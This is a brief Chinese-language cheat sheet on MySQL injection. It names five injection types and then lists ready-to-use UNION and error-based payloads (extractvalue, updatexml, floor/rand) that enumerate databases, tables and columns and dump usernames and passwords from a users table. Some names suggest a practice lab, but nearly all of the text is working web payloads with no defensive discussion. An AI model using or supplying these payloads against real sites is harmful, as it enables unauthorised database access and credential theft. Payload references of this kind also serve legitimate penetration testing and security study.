mysql註入
SQL的註入類型有以下5種:
Boolean-based blind SQL injection(布爾型註入)
Error-based SQL injection(報錯型註入)
UNION query SQL injection(可聯合查詢註入)
Stacked queries SQL injection(可多語句查詢註入)
Time-based blind SQL injection(基於時間延遲註入)
user() 當前用戶名
database() 當前數據庫名
version() MySQL 版本
@@basedir可以獲取mysql的安裝路徑
@@datadir用來獲取mysql的數據路徑。
聯合查詢
union select concat(‘~‘,user(),database(),version())from users 鏈接函數將內容在一個顯錯位一起爆出來
union select group_concat(schema_name) from information_schema.schemata 爆全部的庫名
union select table_name from information_schema.tables where table_schema=0x7365637572697479 爆表名
union select group_concat(table_name)from information_schema.tables where table_schema=database() 爆表名
union select column_name from information_schema.columns where table_name=0x7573657273 爆列名
union select concat_ws(‘~‘,id,username,PASSWORD) from users 爆內容
union select concat_ws(char(32,126,32),id,username,PASSWORD) from users 爆內容
union select concat_ws(char(32,126,32),`id`,`username`,`PASSWORD`) from users 爆內容
union select 1,group_concat(username,0x3a,password),3 from users 爆內容
報錯查詢
and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) 爆全部表
或者
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 爆全部表
and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=0x7573657273))) 爆全部列
and extractvalue(1,concat(0x7e,(select group_concat(id,username,password)from users ))) 爆全部內容
and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (‘Dumb‘,‘I-kill-you‘))))爆全部內容 用not in
mysql報錯主要分為三種方式
報錯型註入常用語句
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and 1=updatexml(1,concat(0x7e,(select database())),1)
and 1=extractvalue(1,concat(0x7e,(select database())))
mysql註入